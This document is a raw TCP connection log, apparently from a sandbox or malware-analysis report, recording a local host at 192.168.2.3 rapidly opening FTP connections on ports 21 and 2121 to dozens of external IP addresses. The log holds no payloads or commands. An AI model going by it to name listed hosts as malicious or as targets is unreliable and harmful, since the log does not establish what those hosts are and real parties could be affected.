Aug 23, 2023 09:16:11.585293055 CEST	51742	2121	192.168.2.3	20.54.218.215
Aug 23, 2023 09:16:11.585391998 CEST	51744	21	192.168.2.3	70.170.127.132
Aug 23, 2023 09:16:11.587191105 CEST	21	51683	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.587208986 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.587560892 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.598046064 CEST	51719	2121	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:11.598079920 CEST	51672	2121	192.168.2.3	102.184.77.218
Aug 23, 2023 09:16:11.598079920 CEST	51674	21	192.168.2.3	60.52.173.36
Aug 23, 2023 09:16:11.598083019 CEST	51673	21	192.168.2.3	102.184.77.218
Aug 23, 2023 09:16:11.598103046 CEST	51676	2121	192.168.2.3	60.52.173.36
Aug 23, 2023 09:16:11.620964050 CEST	21	51717	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:11.654980898 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.655416012 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.661206007 CEST	51745	21	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:11.684304953 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.684750080 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.690551043 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.702528000 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.702714920 CEST	21	51713	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.706551075 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.720566034 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.720875978 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.750022888 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.750195980 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.750746965 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.750746965 CEST	51735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.754719019 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.779448032 CEST	2121	51735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.783328056 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.783917904 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:11.785743952 CEST	51730	21	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:11.808954954 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:11.809619904 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:11.834492922 CEST	51747	2121	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:11.845005035 CEST	21	51730	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:11.855067968 CEST	2121	51719	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:11.863657951 CEST	51685	2121	192.168.2.3	189.48.247.141
Aug 23, 2023 09:16:11.863996983 CEST	51684	21	192.168.2.3	189.48.247.141
Aug 23, 2023 09:16:11.869245052 CEST	51748	21	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:11.869488001 CEST	51749	2121	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:11.888340950 CEST	21	51745	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:11.894989967 CEST	51731	2121	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:11.947515965 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:11.947968960 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:11.952548027 CEST	2121	51731	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:11.969050884 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:11.973156929 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.002954006 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.002983093 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.004125118 CEST	21	51748	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:12.004162073 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.005070925 CEST	2121	51749	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:12.022938967 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:12.034142017 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.045533895 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.076302052 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.076509953 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.076546907 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.076605082 CEST	51746	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.077848911 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.084511995 CEST	2121	51747	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:12.105057001 CEST	2121	51746	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.106786013 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.106916904 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.119112968 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.120526075 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.120804071 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.145617962 CEST	51751	21	192.168.2.3	149.6.17.131
Aug 23, 2023 09:16:12.146395922 CEST	51752	2121	192.168.2.3	149.6.17.131
Aug 23, 2023 09:16:12.147142887 CEST	51753	21	192.168.2.3	95.102.102.13
Aug 23, 2023 09:16:12.147810936 CEST	51754	2121	192.168.2.3	95.102.102.13
Aug 23, 2023 09:16:12.148463964 CEST	51755	21	192.168.2.3	73.41.130.62
Aug 23, 2023 09:16:12.162183046 CEST	51717	21	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:12.176863909 CEST	51756	2121	192.168.2.3	73.41.130.62
Aug 23, 2023 09:16:12.292819023 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.293112040 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.303083897 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.303541899 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.332531929 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.333194017 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.333590984 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.349294901 CEST	51757	21	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:12.363986969 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.364223003 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.393518925 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.393687963 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.393768072 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.394067049 CEST	51750	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.394977093 CEST	51719	2121	192.168.2.3	220.91.116.96
Aug 23, 2023 09:16:12.394977093 CEST	51745	21	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:12.396188021 CEST	51730	21	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:12.396549940 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.419953108 CEST	21	51717	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:12.420667887 CEST	51759	2121	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:12.421304941 CEST	21	51757	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:12.422926903 CEST	2121	51750	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.428477049 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.428587914 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.456599951 CEST	21	51730	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:12.457338095 CEST	51760	21	192.168.2.3	51.146.163.8
Aug 23, 2023 09:16:12.464509964 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.464553118 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.464654922 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.464767933 CEST	51737	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.465573072 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.473462105 CEST	2121	51759	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:12.489882946 CEST	51762	2121	192.168.2.3	51.146.163.8
Aug 23, 2023 09:16:12.490298033 CEST	51763	21	192.168.2.3	68.229.233.241
Aug 23, 2023 09:16:12.551321030 CEST	51748	21	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:12.551446915 CEST	51749	2121	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:12.552126884 CEST	51764	2121	192.168.2.3	68.229.233.241
Aug 23, 2023 09:16:12.552350998 CEST	51765	21	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:12.598110914 CEST	51731	2121	192.168.2.3	84.54.17.173
Aug 23, 2023 09:16:12.608773947 CEST	21	51745	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:12.613321066 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.613774061 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.636034012 CEST	21	51737	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.637063026 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.637193918 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.645715952 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.646495104 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.646790028 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.651645899 CEST	2121	51719	220.91.116.96	192.168.2.3
Aug 23, 2023 09:16:12.652611971 CEST	51766	2121	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:12.657032013 CEST	2121	51731	84.54.17.173	192.168.2.3
Aug 23, 2023 09:16:12.658293962 CEST	51767	21	192.168.2.3	92.209.242.110
Aug 23, 2023 09:16:12.660623074 CEST	51747	2121	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:12.680263996 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.680733919 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.683604002 CEST	2121	51749	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:12.683749914 CEST	21	51748	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:12.713501930 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.713525057 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.713675022 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.714572906 CEST	51758	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.715708971 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.739545107 CEST	51769	2121	192.168.2.3	92.209.242.110
Aug 23, 2023 09:16:12.745038986 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.745151997 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.746120930 CEST	2121	51758	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.825450897 CEST	21	51765	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:12.886815071 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:12.887326002 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:12.894985914 CEST	2121	51747	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:12.928191900 CEST	2121	51766	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:12.932424068 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.932730913 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.957521915 CEST	51757	21	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:12.957545996 CEST	51692	21	192.168.2.3	210.91.154.62
Aug 23, 2023 09:16:12.957561016 CEST	51696	21	192.168.2.3	173.49.111.53
Aug 23, 2023 09:16:12.957564116 CEST	51693	2121	192.168.2.3	210.91.154.62
Aug 23, 2023 09:16:12.957775116 CEST	51697	2121	192.168.2.3	173.49.111.53
Aug 23, 2023 09:16:12.961873055 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.962486029 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.962868929 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:12.993252039 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:12.994028091 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.005623102 CEST	51770	21	192.168.2.3	107.84.223.75
Aug 23, 2023 09:16:13.008640051 CEST	51771	2121	192.168.2.3	107.84.223.75
Aug 23, 2023 09:16:13.021369934 CEST	21	51757	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:13.023438931 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.023819923 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.024209023 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.024492025 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.024590015 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.024916887 CEST	51768	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.026472092 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.053900003 CEST	2121	51768	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.055247068 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.055335999 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.058581114 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.059876919 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.061108112 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.098145962 CEST	51690	21	192.168.2.3	117.253.51.81
Aug 23, 2023 09:16:13.098167896 CEST	51695	2121	192.168.2.3	77.179.134.18
Aug 23, 2023 09:16:13.098180056 CEST	51759	2121	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:13.098180056 CEST	51701	2121	192.168.2.3	97.102.106.20
Aug 23, 2023 09:16:13.098192930 CEST	51691	2121	192.168.2.3	117.253.51.81
Aug 23, 2023 09:16:13.098192930 CEST	51694	21	192.168.2.3	77.179.134.18
Aug 23, 2023 09:16:13.098215103 CEST	51703	21	192.168.2.3	195.156.69.213
Aug 23, 2023 09:16:13.129708052 CEST	51699	2121	192.168.2.3	46.16.215.227
Aug 23, 2023 09:16:13.129790068 CEST	51698	21	192.168.2.3	46.16.215.227
Aug 23, 2023 09:16:13.150238037 CEST	2121	51759	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:13.233274937 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.233647108 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.237144947 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.237474918 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.237497091 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.237637043 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.237692118 CEST	51734	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.238275051 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.251749992 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.252028942 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.254410028 CEST	51748	21	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:13.254576921 CEST	51749	2121	192.168.2.3	151.253.6.17
Aug 23, 2023 09:16:13.281224012 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.282006025 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.282360077 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.285666943 CEST	51702	2121	192.168.2.3	195.156.69.213
Aug 23, 2023 09:16:13.285681963 CEST	51705	21	192.168.2.3	35.225.151.255
Aug 23, 2023 09:16:13.285686970 CEST	51745	21	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:13.285697937 CEST	51706	2121	192.168.2.3	35.225.151.255
Aug 23, 2023 09:16:13.285697937 CEST	51700	21	192.168.2.3	97.102.106.20
Aug 23, 2023 09:16:13.285701036 CEST	51707	21	192.168.2.3	179.25.147.109
Aug 23, 2023 09:16:13.312777042 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.313071966 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.342437029 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.342689037 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.342833996 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.342902899 CEST	51772	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.343501091 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.363790035 CEST	51708	2121	192.168.2.3	179.25.147.109
Aug 23, 2023 09:16:13.363809109 CEST	51709	21	192.168.2.3	116.15.173.128
Aug 23, 2023 09:16:13.363820076 CEST	51710	2121	192.168.2.3	116.15.173.128
Aug 23, 2023 09:16:13.371788979 CEST	2121	51772	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.372334003 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.372544050 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.388253927 CEST	21	51748	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:13.389036894 CEST	2121	51749	151.253.6.17	192.168.2.3
Aug 23, 2023 09:16:13.389183998 CEST	51775	21	192.168.2.3	68.110.152.167
Aug 23, 2023 09:16:13.389846087 CEST	51776	2121	192.168.2.3	68.110.152.167
Aug 23, 2023 09:16:13.395025015 CEST	51765	21	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:13.405322075 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.405388117 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.405582905 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.405603886 CEST	51761	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.406337976 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.451194048 CEST	21	51734	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.451915979 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.452006102 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.490932941 CEST	51778	21	192.168.2.3	75.175.101.48
Aug 23, 2023 09:16:13.490972042 CEST	51779	2121	192.168.2.3	75.175.101.48
Aug 23, 2023 09:16:13.491095066 CEST	51780	21	192.168.2.3	73.155.194.81
Aug 23, 2023 09:16:13.491107941 CEST	51781	21	192.168.2.3	91.139.35.200
Aug 23, 2023 09:16:13.491173029 CEST	51782	2121	192.168.2.3	73.155.194.81
Aug 23, 2023 09:16:13.491175890 CEST	51783	2121	192.168.2.3	91.139.35.200
Aug 23, 2023 09:16:13.496848106 CEST	21	51745	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:13.497454882 CEST	51784	21	192.168.2.3	99.19.80.161
Aug 23, 2023 09:16:13.506264925 CEST	51785	2121	192.168.2.3	99.19.80.161
Aug 23, 2023 09:16:13.506321907 CEST	51786	21	192.168.2.3	170.238.207.125
Aug 23, 2023 09:16:13.506366014 CEST	51787	2121	192.168.2.3	170.238.207.125
Aug 23, 2023 09:16:13.506444931 CEST	51788	21	192.168.2.3	172.88.93.218
Aug 23, 2023 09:16:13.551306963 CEST	51757	21	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:13.551410913 CEST	51712	21	192.168.2.3	2.82.244.123
Aug 23, 2023 09:16:13.551418066 CEST	51747	2121	192.168.2.3	106.1.147.99
Aug 23, 2023 09:16:13.561779976 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.562174082 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.576941013 CEST	21	51761	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.577541113 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.577620983 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.590765953 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.591557026 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.591840982 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.598179102 CEST	51715	21	192.168.2.3	58.226.91.84
Aug 23, 2023 09:16:13.598201036 CEST	51714	2121	192.168.2.3	2.82.244.123
Aug 23, 2023 09:16:13.598208904 CEST	51766	2121	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:13.621381044 CEST	21	51757	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:13.621895075 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.622632980 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.622720957 CEST	51789	2121	192.168.2.3	172.88.93.218
Aug 23, 2023 09:16:13.651993990 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.652046919 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.652199984 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.652199984 CEST	51774	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.652698040 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.660665989 CEST	51716	2121	192.168.2.3	58.226.91.84
Aug 23, 2023 09:16:13.668687105 CEST	21	51765	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:13.672775030 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.673181057 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:13.681019068 CEST	2121	51774	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.684803009 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.684900045 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.724550962 CEST	51791	21	192.168.2.3	216.23.252.107
Aug 23, 2023 09:16:13.778232098 CEST	2121	51747	106.1.147.99	192.168.2.3
Aug 23, 2023 09:16:13.779889107 CEST	51792	2121	192.168.2.3	216.23.252.107
Aug 23, 2023 09:16:13.785734892 CEST	51759	2121	192.168.2.3	196.187.140.138
Aug 23, 2023 09:16:13.785762072 CEST	51720	21	192.168.2.3	40.85.219.109
Aug 23, 2023 09:16:13.808895111 CEST	51722	2121	192.168.2.3	40.85.219.109
Aug 23, 2023 09:16:13.815730095 CEST	2121	51787	170.238.207.125	192.168.2.3
Aug 23, 2023 09:16:13.833240032 CEST	51793	21	192.168.2.3	189.128.91.206
Aug 23, 2023 09:16:13.838376045 CEST	2121	51759	196.187.140.138	192.168.2.3
Aug 23, 2023 09:16:13.839030027 CEST	51794	2121	192.168.2.3	189.128.91.206
Aug 23, 2023 09:16:13.875283003 CEST	2121	51766	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:13.878778934 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.879178047 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.886538029 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:13.887789011 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:13.888169050 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:13.895143032 CEST	51723	21	192.168.2.3	90.209.126.231
Aug 23, 2023 09:16:13.911232948 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.912019014 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.912272930 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.931704998 CEST	2121	51792	216.23.252.107	192.168.2.3
Aug 23, 2023 09:16:13.945841074 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.946091890 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.957595110 CEST	51724	2121	192.168.2.3	90.209.126.231
Aug 23, 2023 09:16:13.957686901 CEST	51725	21	192.168.2.3	81.202.22.253
Aug 23, 2023 09:16:13.957690954 CEST	51726	2121	192.168.2.3	81.202.22.253
Aug 23, 2023 09:16:13.978638887 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.978790045 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:13.978863955 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.978916883 CEST	51790	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:13.979643106 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.008954048 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.009128094 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.010817051 CEST	2121	51790	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.059472084 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.060885906 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.061209917 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.160821915 CEST	51728	2121	192.168.2.3	49.170.58.181
Aug 23, 2023 09:16:14.160832882 CEST	51727	21	192.168.2.3	49.170.58.181
Aug 23, 2023 09:16:14.200020075 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.200382948 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.230355978 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.230398893 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.231055975 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.233242035 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.233573914 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.261497974 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.261941910 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.285789967 CEST	51765	21	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:14.291572094 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.291599989 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.291726112 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.291882038 CEST	51795	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.292403936 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.321892023 CEST	2121	51795	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.324879885 CEST	2121	51796	95.85.215.156	192.168.2.3
